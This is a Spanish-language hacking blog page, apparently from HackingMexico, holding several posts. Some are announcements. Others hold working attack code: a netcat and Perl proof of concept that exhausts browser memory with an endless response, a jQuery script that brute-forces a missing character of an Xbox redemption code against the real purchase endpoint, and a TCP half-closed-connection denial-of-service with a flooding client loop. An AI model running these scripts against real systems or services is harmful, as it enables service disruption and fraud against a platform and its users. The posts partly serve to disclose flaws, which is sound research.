print "\n[-] MD5's correctos!\n";
}
for $package (@packages){
extract($base.$package);
}
print "[-] Paquete y dependencias extraidos correctamente!\n";

By Xianur0
 

Articulo destacado en Ingenet

El articulo de Facebook explotando el ser humano, ha sido publicado como destacado en la red de blogs Ingenet, que pertenece a Carlos Slim, Ingenet es una red social de Ingenieria en Mexico, donde se muestran los mas recientes avances y se comparten articulos con toda la comunidad, si quieres ver el articulo esta es la direccion

http://bitacora.ingenet.com.mx/2013/01/facebook-explotando-al-ser-humano-y-geolocalizacion/

Nos han pedido que escribamos un articulo mensual, asi que estaremos coolaborando con articulos de Seguridad Informatica
 

Webcast 6 Disponible!

Despues de una breve ausencia, ya esta listo el Webcast numero 6, donde les mostramos varios avances del proyecto HackingMexico, entre los cuales tenemos los Diplomados de Intrusiones ciberneticas, los DVD's, las Raspberry Pi Pentester Edition.

Se habla un poco de la explotacion Web mediante Frameworks basados en Browsers, como el Mantra, y www.exploitpack.com, tambien 4rc4c4 nos platica sobre el proyecto de Raspberry, los usos que se le puede dar, y comentamos sobre el desbloqueo de consolas como el wii y correr Homebrew

 

Implementacion incorrecta de HTTP en navegadores web pt. 1

En los navegadores web existe una completamente desestandarización en HTTP lo cual provoca que sea ineficiente la forma en la que manejan el protocolo, esto puede causar múltiples problemas de seguridad.

Para comenzar tenemos el orden de los encabezados HTTP, normalmente no debería de afectar el orden en que se envían al navegador, pero en los casos cuando se repiten estos, la cosa no es tan simple, por ejemplo si mandamos la siguiente respuesta a distintos navegadores:
 HTTP/1.1 200 OK

Content-Type: text/plain; charset=UTF-8

Date: Sun, 13 Jan 2013 02:25:35 GMT

Server: xianur0-to-me

Content-Length: 14

Content-Encoding: gzip

Content-Encoding: none

 

Segundo header
 (respuesta.txt)

# nc -vvvl 8080 > consulta.txt < respuesta.txt

URL: http://localhost:8080/

Al entrar con Chrome podremos notar que aparece el texto “Segundo header”, pero al entrar con Firefox obtenemos un: “Error de codificación de contenido”, esto quiere decir que firefox lee el primer encabezado y chrome el segundo, esto es un “hack” bastante simple, pero que podría usarse con otros fines.

Multiple Web Browsers Memory Exhaustion

 ¿Qué pasa cuando no se incluye el encabezado del Content-Length en la respuesta del servidor web?

Este encabezado le dice al navegador el tamaño de la web/archivo que se enviará, normalmente no hay problema si se omite esta debido a que el servidor web al terminar de enviar la respuesta corta la conexión, el problema es cuando no se quiere cerrar la conexión o no se termina nunca de enviar una respuesta, esto es, el navegador tendrá que ir asignando más y más memoria hasta que la página se termine de enviar, el problema sería si un atacante crea un servidor que nunca deje de enviar una respuesta, desde luego sería lógico pensar que las empresas pondrían un limite al tamaño máximo o algún otro mecanismo para detener esto, lamentablemente no es así.
 Zer0-null:/home/xianur0 # cat http.txt

HTTP/1.1 200 OK

Content-Type: text/plain; charset=UTF-8

Date: Sun, 13 Jan 2013 02:25:35 GMT

Server: xianur0-to-me

Xianur0 was here!!

 

Montamos netcat como un servidor http:
 Zer0-null:/home/xianur0 # nc -vvvl 8080 > respuesta.txt < http.txt

En cualquier navegador que entremos a esta web (http://localhost:8080) veremos el mensaje: “Xianur0 was here!! ” siendo que nunca se especificó un tamaño de respuesta el navegador interpretó que leería toda la respuesta.

Una prueba de concepto muy burda de como se puede explotar este bug es la siguiente:
 Zer0-null:/home/xianur0/lab # cat generador.pl

#!/usr/bin/perl

while(1){

print "Xianur0\n";

}

 

Zer0-null:/home/xianur0/lab # perl generador.pl | nc -vvvl 8080

Connection from 127.0.0.1 port 8080 [tcp/http-alt] accepted

GET / HTTP/1.1

Host: localhost:8080

Connection: keep-alive

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,sdch

Accept-Language: es-ES,es;q=0.8

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

En el navegador podremos ver como se llena de la palabra “Xianur0” sin fin aparente.

Y con el comando top podremos ver que chrome se come los recursos:

17862 xianur0   20   0  318m 172m  21m R     91 20.0   0:56.13 chrome

(91% CPU, 20 % MEM)

Entre más tiempo se permanezca en la página mayor será el consumo de recursos en la victima.

Navegadores probados vulnerables (cualquier versión):

Chrome
Firefox
Chromium
Lynx
Epiphany
W3m
Opera
IE ← Este es el más afectado

Pruebas de concepto:




 

By Xianur0
 

Xbox Game Hacking


var x_molder = 0;
function pushToken()
{
// CODIGO DE CANGE, CAMBIAR POR EL TUYO
var str_token = "F9?VQ-D8CQ3-XTRG3-4BDTV-B3X7W";
var charset = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";

var new_token = str_token.replace("?",charset[x_molder]);

$('#TokenValue').val(new_token)
x_molder++;
$('#RedeemCodeMolder').click();
}

$('#RedeemCodeMolder').click(function ()
{
var postData = 'TokenValue=' + $('#TokenValue').val()+ '&__RequestVerificationToken='+ $('input[name="__RequestVerificationToken"]').val();

$.ajax({
type: 'POST',
url: "/es-MX/RedeemCode/PurchaseWithToken",
data: postData,
cache: false,
success: function(response){

if(response.indexOf("Escribe un código válido") > -1)
{
pushToken();
}
else
{
alert(response);
}
},
error: function(){ alert("Error de peticion AJAX"); }
});
});

pushToken();

By Molder Sombrero de Paja AztlanHack
 

Vulnerando TCP parte 1 (0day)

Normalmente cuando se habla de TCP y su funcionamiento, se habla de flags (SYN, ACK, etc), pero TCP tiene muchas más cosas implicadas para su funcionamiento, por ejemplo la pila TCP debe de llevar un control del estado de la conexión (ESTABLISHED, SYN_SENT, SYN_RECV, CLOSED, etc.) de modo que no todo es simplemente paquetes TCP que van de un punto a otro los que crean una conexión. La mayoría de los ataques de denegación de servicio a TCP se basan de conexiones semi-abiertas (SYN Flood por ejemplo), lo cual permite que un ataque sea “anonimo” pues se puede realizar mediante paquetes SYN con un origen (IP) diferente a la del atacante. Existe una variedad de ataques no tan documentados que se realizan mediante conexiones semi-cerradas, es decir, que requieren que antes se establezca una conexión valida, la diferencia con estos ataques es que no son tan “anonimos” porque el origen “debe” ser real (debido a los mecanismos de seguridad de TCP, seqnum por ejemplo) esto sin embargo no impide que ataque se realice mediante una botnet (quedaría la IP del zombie, no la del atacante), sin más introducción a este tema comenzaremos a explicar los ataques “semi-cerrados”:

Necesitamos un servidor TCP que nos facilite el trabajo, en este caso el servidor simplemente dormirá 10 segundos cuando reciba la cadena “sleep”, envía el mensaje “Awake!” y después de esto cerrará la conexión:
use IO::Socket;

use threads;

sub clientes {

my ($client) = @_;

while(<$client>) {

if($_ =~ /sleep/){

print "Durmiendo 10 segs...\n";

sleep(10);

}

}

print $client “Awake!\n”;

print “Cerrando conexión...\n";

close($client)

}

my $sock = new IO::Socket::INET (

LocalPort => '8080',

Proto => 'tcp',

Listen => 2,

Reuse => 1,

);

die "Could not create socket: $!\n" unless $sock;

while(my $new_sock = $sock->accept()) {

print "Nuevo cliente (".$new_sock->peerhost().") :D\n";

threads->create('clientes', $new_sock);

}

close($sock);

 

El código a simple vista no parece vulnerable, sin embargo, lo es.

 
Zer0-null:/home/xianur0 # nc -vvvv localhost 8080

nc: connect to localhost port 8080 (tcp) failed: Connection refused

Connection to localhost 8080 port [tcp/http-alt] succeeded!

sleep

^C

 

Conectamos al 8080 con netcat, enviamos la palabra sleep y finalizamos con ctrl+c (sin esperar 10 segundos) el resultado:

 
Zer0-null:/home/xianur0 # perl server.pl

Nuevo cliente (127.0.0.1) :D

Durmiendo 10 segs...

Cerrando conexión...

El servidor esperó 10 segundos antes de enviar el mensaje e intentar cerrar la conexión (que ya estaba cerrada) esto es, el servidor consumió recursos estando ya el socket cerrado, hasta ahora el ataque no tiene gracia, pero si lo realizamos a mayor escala, obtendremos resultados bastante interesantes:
use IO::Socket;

while(1){

my $sock = new IO::Socket::INET (

PeerAddr => 'localhost',

PeerPort => '8080',

Proto => 'tcp') || die("No se puede conectar!\n");

print $sock "sleep\n";

close($sock);

}

Zer0-null:/home/xianur0 # perl server.pl

Nuevo cliente (127.0.0.1) :D

Durmiendo 10 segs...

Nuevo cliente (127.0.0.1) :D

Durmiendo 10 segs...

 

Nuevo cliente (127.0.0.1) :D

[…]

Zer0-null:/home/xianur0 # netstat | grep -i CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36338         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36324         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36330         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36320         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36323         CLOSE_WAIT

tcp        1      0 localhost:http-alt      localhost:36322         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36313         CLOSE_WAIT

tcp        1      0 localhost:http-alt      localhost:36327         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36339         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36331         CLOSE_WAIT

tcp        1      0 localhost:http-alt      localhost:36317         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36328         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36319         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36335         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36334         CLOSE_WAIT

tcp        1      0 localhost:http-alt      localhost:36318         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36341         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36314         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36315         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36316         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36321         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36325         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36333         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36336         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36340         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36329         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36326         CLOSE_WAIT

CLOSE_WAIT se sigue considerando como una conexión abierta, entonces ese servidor tiene en este caso algo así como 28 conexiones abiertas, en nuestro caso solo utilizamos 1 conexión por vez, lo cual es una cantidad de recursos bastante menor, en cuanto el servidor cierra las conexiones dejan de aparecer esos CLOSE_WAIT y expira... eso no es totalmente cierto, todos los sistemas que soportan TCP implementan las retransmisiones, lo cual es reenviar el mismo paquete x cantidad de veces esperando una respuesta (esto se creó debido a que puede haber perdida de datos a través de la red), el detalle es que cuando una conexión pasa a los estados CLOSE_WAIT, FIN_WAIT y similares comienza a hacer retransmisiones (intentando enviar un dato o cerrar la conexión).

¿El peligro de esto?

Supongamos que con una sola conexión logramos generarle al servidor aproximadamente 28 conexiones a medio cerrar, esto también es 28 hilos, consumiendo recursos (incluso tener una conexión abierta consume recursos pues la pila reserva un espacio de memoria por conexión), si utilizamos 10 conexiones serían aproximadamente 280 conexiones al mismo tiempo a medio cerrar en el servidor, adicional a 280 hilos que están ejecutando “sleep 10;”, adicional a todo esto tenemos la retransmisiones que según el sistema operativo (y la configuración de la pila TCP) pueden repetir hasta 15 veces (o incluso más) por defecto.

En linux podemos conocer este número mediante los archivos:
/proc/sys/net/ipv4/tcp_retries1 (min)

/proc/sys/net/ipv4/tcp_retries2 (max)

¿Se pueden hacer más eficiente este ataque?

Las retransmisiones son uno de los mayores peligros, pues si las retransmisiones llevan datos muy grandes pueden afectar nuestra banda o incluso las retransmisiones generadas por nuestro propio sistema (sí, el atacante también pueden generar retransmisiones) pueden afectarnos.
echo 0 > /proc/sys/net/ipv4/tcp_retries1

echo 0 > /proc/sys/net/ipv4/tcp_retries1

De este modo desactivamos la retransmisiones hasta el próximo reinicio.

¿Se puede corregir este “bug”?

No hay forma de corregir este ataque aun pues es un problema en la pila tcp y no se ha creado un parche funcional, además de que el problema implica a la capa de aplicación también (que es donde se ejecuta el servidor que “configura” a la pila), se pueden disminuir las retransmisiones en el servidor para disminuir los efectos, pero eso no solucionaría el problema por completo.

Otra cosa que puede ayudar es limitar la cantidad de conexiones por IP:
iptables -A INPUT -p tcp -m tcp --dport 8080 -m limit --limit 10/sec -j ACCEPT

Nuevamente esto no soluciona las cosas por completo, pero ayuda a disminuir los efectos.

Pruebas de concepto de este ataque en servidores reales:



By Xianur0